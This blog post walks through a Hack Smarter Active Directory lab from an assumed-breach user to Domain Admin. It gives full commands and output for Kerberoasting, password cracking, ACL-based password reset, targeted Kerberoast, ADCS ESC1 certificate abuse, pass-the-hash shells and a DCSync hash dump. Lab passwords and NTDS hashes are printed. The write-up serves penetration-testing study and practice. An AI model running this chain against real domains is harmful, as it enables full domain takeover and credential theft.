Post

Arsanka Hacksmarter — Walkthrough

You are a member of the Hack Smarter Red Team. This penetration test will operate under an assumed breach scenario, starting with valid credentials for a standard domain user, faraday. The primary goal is to simulate a realistic attack, identifying and exploiting vulnerabilities to escalate privileges from a standard user to a Domain Administrator.

Arsanka Hacksmarter — Walkthrough

⭐ Arasaka — Active Directory Lab Walkthrough

Domain: HACKSMARTER.LOCALDC: DC01 (10.1.61.116)OS: Windows Server 2022 Build 20348

Table of Contents

  1. Starting Credentials
  2. Enumeration
  3. Kerberoasting
  4. BloodHound Enumeration
  5. ForceChangePassword — alt.svc → YORINOBU
  6. Targeted Kerberoast — YORINOBU → Soulkiller.svc
  7. ADCS Enumeration — Certipy (ESC1)
  8. ESC1 Exploitation — Request Cert as the_emperor
  9. Getting Shell — Evil-WinRM
  10. DCSync — Dumping All Hashes
  11. Domain Compromise — Administrator Shell
  12. Attack Chain Summary
  13. All Credentials Discovered
  14. NTDS Hashes
  15. Tools Reference

Starting Credentials

FieldValue
USERNAMEfaraday
PASSWORDhacksmarter123

Enumeration

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
53/tcp   open  domain         Simple DNS Plus
88/tcp   open  kerberos-sec   Microsoft Windows Kerberos
135/tcp  open  msrpc          Microsoft Windows RPC
139/tcp  open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp  open  ldap           Microsoft Windows Active Directory LDAP
                              (Domain: hacksmarter.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap       Microsoft Windows Active Directory LDAP
3268/tcp open  ldap           Microsoft Windows Active Directory LDAP
3389/tcp open  ms-wbt-server  Microsoft Terminal Services
5985/tcp open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open  mc-nmf         .NET Message Framing

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Note: SMB signing is required — relay attacks (NTLM relay / Responder) are not possible.


SMB — Shares

1
nxc smb hacksmarter.local -u faraday -p 'hacksmarter123' --shares
1
2
3
4
5
6
7
8
SMB  10.1.61.116  445  DC01  [+] hacksmarter.local\faraday:hacksmarter123
SMB  10.1.61.116  445  DC01  Share      Permissions  Remark
SMB  10.1.61.116  445  DC01  -----      -----------  ------
SMB  10.1.61.116  445  DC01  ADMIN$                  Remote Admin
SMB  10.1.61.116  445  DC01  C$                      Default share
SMB  10.1.61.116  445  DC01  IPC$       READ          Remote IPC
SMB  10.1.61.116  445  DC01  NETLOGON   READ          Logon server share
SMB  10.1.61.116  445  DC01  SYSVOL     READ          Logon server share

No writable non-standard shares found with starting credentials.

img


Users — RID Brute Force & Enumeration

1
2
nxc smb hacksmarter.local -u faraday -p 'hacksmarter123' --rid-brute
nxc smb hacksmarter.local -u faraday -p 'hacksmarter123' --users

Domain users discovered:

UsernameDescription
AdministratorBuilt-in admin account
GuestBuilt-in guest account
krbtgtKey Distribution Center Service Account
GoroLoyal to a fault
alt.svcTrapped for eternity
Yorinobu
HanakoWaiting at embers
Faraday
Smasher
Soulkiller.svcCertificate managment for soulkiller AI
Hellman
kei.svcTrapped for eternity
Silverhand.svcTrapped for eternity
Oda
the_emperor

Note: Soulkiller.svc has a certificate-related description — flagged for ADCS enumeration later.

img img


Kerberoasting

1
2
impacket-GetUserSPNs hacksmarter.local/Faraday:'hacksmarter123' \
  -dc-ip 10.1.61.116 -request

img

1
2
3
ServicePrincipalName              Name     PasswordLastSet
--------------------------------  -------  -------------------
AI/blackwall.hacksmarter.local    alt.svc  2025-09-21 15:07:42

TGS hash obtained for alt.svc. Cracked with John the Ripper:

1
john alt_svc.hash --wordlist=/usr/share/wordlists/rockyou.txt
1
babygirl1    (alt.svc)
FieldValue
USERNAMEalt.svc
PASSWORDbabygirl1

BloodHound Enumeration

1
2
nxc ldap hacksmarter.local -u alt.svc -p 'babygirl1' \
  --bloodhound --collection All --dns-server 10.1.61.116

img

ACL Path discovered:

1
alt.svc  --[GenericAll]-->  YORINOBU  --[GenericWrite]-->  Soulkiller.svc
  • alt.svc has GenericAll over YORINOBU → can reset password
  • YORINOBU has GenericWrite over Soulkiller.svc → can set SPN → Targeted Kerberoast
  • Soulkiller.svc has enrollment rights on AI_Takeover certificate template (ESC1)

img


ForceChangePassword — alt.svc → YORINOBU

GenericAll grants full control over the target object, including the ability to reset the password without knowing the current one.

1
2
net rpc password "YORINOBU" "Password@" \
  -U "HACKSMARTER"/"alt.svc"%"babygirl1" -S "hacksmarter.local"

img

Verify:

1
nxc smb hacksmarter.local -u YORINOBU -p 'Password@'
1
SMB  10.1.61.116  445  DC01  [+] hacksmarter.local\YORINOBU:Password@
FieldValue
USERNAMEYORINOBU
PASSWORDPassword@

img


Targeted Kerberoast — YORINOBU → Soulkiller.svc

YORINOBU has GenericWrite over Soulkiller.svc. This allows writing a servicePrincipalName attribute to the account, making it Kerberoastable. The targetedKerberoast.py tool automates this: it adds the SPN, requests the TGS, then cleans up.

img

1
2
python3 targetedKerberoast.py -v -d 'hacksmarter.local' \
  -u 'YORINOBU' -p 'Password@'

img

1
2
3
4
5
6
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (alt.svc)
[VERBOSE] SPN added successfully for (Soulkiller.svc)
[+] Printing hash for (Soulkiller.svc)
[VERBOSE] SPN removed successfully for (Soulkiller.svc)

Crack the Soulkiller.svc TGS hash:

1
john hash2 --wordlist=/usr/share/wordlists/rockyou.txt

img

1
MYpassword123#    (Soulkiller.svc)
FieldValue
USERNAMESoulkiller.svc
PASSWORDMYpassword123#

ADCS Enumeration — Certipy (ESC1)

1
2
certipy-ad find -u soulkiller.svc@hacksmarter.local \
  -p 'MYpassword123#' -dc-ip 10.1.61.116 -vulnerable
1
2
3
[*] Found 34 certificate templates
[*] Found 1 certificate authority: hacksmarter-DC01-CA
[*] Found 12 enabled certificate templates

Vulnerable template found:

1
2
3
4
5
6
7
8
Template Name          : AI_Takeover
Enabled                : True
Client Authentication  : True
Enrollee Supplies Subj : True      ← ESC1 indicator
Enrollment Rights      : HACKSMARTER.LOCAL\Soulkiller.svc

[!] Vulnerabilities
    ESC1 : Enrollee supplies subject and template allows client authentication.

What this means (ESC1): The enrollee can supply an arbitrary Subject Alternative Name (UPN), allowing impersonation of any domain user — including Domain Admins. Soulkiller.svc has exclusive enrollment rights on AI_Takeover.


ESC1 Exploitation — Request Cert as the_emperor

Request a certificate with the_emperor’s UPN:

1
2
3
4
5
6
7
certipy-ad -debug req \
  -username soulkiller.svc -p 'MYpassword123#' \
  -ca hacksmarter-DC01-CA \
  -target hacksmarter.local \
  -template AI_Takeover \
  -upn THE_EMPEROR@hacksmarter.local \
  -dns 10.1.61.116
1
2
3
4
5
[*] Successfully requested certificate
[*] Got certificate with multiple identities
     UPN: 'THE_EMPEROR@hacksmarter.local'
     DNS Host Name: '10.1.61.116'
[*] Wrote certificate and private key to 'the_emperor_10.pfx'

Authenticate using the certificate to retrieve the NT hash:

1
certipy-ad auth -pfx the_emperor_10.pfx -dc-ip 10.1.61.116
1
2
3
4
5
6
7
8
[*] Please select an identity:
    [0] UPN: 'THE_EMPEROR@hacksmarter.local'
    [1] DNS Host Name: '10.1.61.116'
> 0
[*] Using principal: 'the_emperor@hacksmarter.local'
[*] Got TGT
[*] Got hash for 'the_emperor@hacksmarter.local':
    aad3b435b51404eeaad3b435b51404ee:d87640b0d83dc7f90f5f30bd6789b133
FieldValue
USERNAMEthe_emperor
HASH (NT)d87640b0d83dc7f90f5f30bd6789b133

Getting Shell — Evil-WinRM

1
2
evil-winrm -i hacksmarter.local -u the_emperor \
  -H 'd87640b0d83dc7f90f5f30bd6789b133'
1
2
3
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\the_emperor\Documents>

DCSync — Dumping All Hashes

1
2
impacket-secretsdump hacksmarter.local/'the_emperor'@10.1.100.99 \
  -hashes ':d87640b0d83dc7f90f5f30bd6789b133' -just-dc

img

1
2
3
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Kerberos keys grabbed

Domain Compromise — Administrator Shell

1
2
evil-winrm -i 10.1.100.99 -u administrator \
  -H '4366ec0f86e29be2a4a5e87a1ba922ec'

img

1
2
3
4
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
hacksmarter\administrator

DOMAIN FULLY COMPROMISED — root.txt retrieved


Attack Chain Summary

#TechniqueFrom → ToTool
1Initial AccessGiven → faradayhacksmarter123 (given)
2SMB Enumerationfaraday → user listNetExec (–shares, –rid-brute, –users)
3Kerberoastingfaraday → alt.svcimpacket-GetUserSPNs + John
4BloodHoundalt.svc → ACL graphNetExec –bloodhound
5ForceChangePasswordalt.svc → YORINOBUnet rpc password
6Targeted KerberoastYORINOBU → Soulkiller.svctargetedKerberoast.py + John
7ADCS Enum (ESC1)Soulkiller.svc → AI_Takeovercertipy-ad find -vulnerable
8ESC1 Cert RequestSoulkiller.svc → the_emperor certcertipy-ad req
9PKINIT Authcert → the_emperor NTLM hashcertipy-ad auth
10WinRM Shellthe_emperor → DC shellEvil-WinRM
11DCSyncthe_emperor → all NTLM hashesimpacket-secretsdump
12DA Shell + root.txtAdministrator → domain ownedEvil-WinRM

All Credentials Discovered

UsernamePassword / HashMethod
faradayhacksmarter123Starting credentials (given)
alt.svcbabygirl1Kerberoasting + John
YORINOBUPassword@GenericAll ForceChangePassword
Soulkiller.svcMYpassword123#Targeted Kerberoast + John
the_emperord87640b0d83dc7f90f5f30bd6789b133ESC1 (ADCS) + certipy-ad auth
Administrator4366ec0f86e29be2a4a5e87a1ba922ecDCSync via the_emperor

NTDS Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5b5ca92b15454ff09ae4706e59e82509:::
hacksmarter.local\Goro:1111:aad3b435b51404eeaad3b435b51404ee:74aa71bbd61e2ac88ef81aec8b2932d8:::
hacksmarter.local\alt.svc:1113:aad3b435b51404eeaad3b435b51404ee:26e86ef5628e57b3a35c38ef272e7081:::
hacksmarter.local\Yorinobu:1117:aad3b435b51404eeaad3b435b51404ee:fb54d1c05e301e024800c6ad99fe9b45:::
hacksmarter.local\Hanako:1125:aad3b435b51404eeaad3b435b51404ee:26e14945d3929d414e802323aae07735:::
hacksmarter.local\Faraday:1126:aad3b435b51404eeaad3b435b51404ee:f96db678a7003749059f37636a679da8:::
hacksmarter.local\Smasher:1128:aad3b435b51404eeaad3b435b51404ee:97fdd74acb15fa25e00e2c20b8175d36:::
hacksmarter.local\Soulkiller.svc:1129:aad3b435b51404eeaad3b435b51404ee:f4ab68f27303bcb4024650d8fc5f973a:::
hacksmarter.local\Hellman:1132:aad3b435b51404eeaad3b435b51404ee:c10a625c84b126ac93303c186d7379b9:::
hacksmarter.local\kei.svc:1134:aad3b435b51404eeaad3b435b51404ee:c87f74fac72377f1ca1b32d7d4496fc7:::
hacksmarter.local\Silverhand.svc:1144:aad3b435b51404eeaad3b435b51404ee:847fafaf6185ce056a861446259b4b03:::
hacksmarter.local\Oda:1149:aad3b435b51404eeaad3b435b51404ee:47a78a8e02ff7d04b18d40224d2a3993:::
hacksmarter.local\the_emperor:1601:aad3b435b51404eeaad3b435b51404ee:d87640b0d83dc7f90f5f30bd6789b133:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:81405f2c84f4d494842252ec85e9b3b9:::

Tools Reference

ToolPurpose
NetExec (nxc)SMB/LDAP enumeration, BloodHound collection, user/share discovery
impacket-GetUserSPNsKerberoasting — request TGS for SPN-registered accounts
John the RipperOffline hash cracking with rockyou.txt wordlist
BloodHound / neo4jAD relationship mapping and attack path discovery
net rpc passwordForceChangePassword via RPC (GenericAll abuse)
targetedKerberoast.pyGenericWrite → write SPN → targeted Kerberoast → crack
certipy-adADCS enumeration (-vulnerable), certificate request (req), auth (auth)
impacket-secretsdumpDCSync — dump NTDS.DIT via DRSUAPI
Evil-WinRMRemote shell over WinRM (port 5985) using password or hash
This post is licensed under CC BY 4.0 by the author.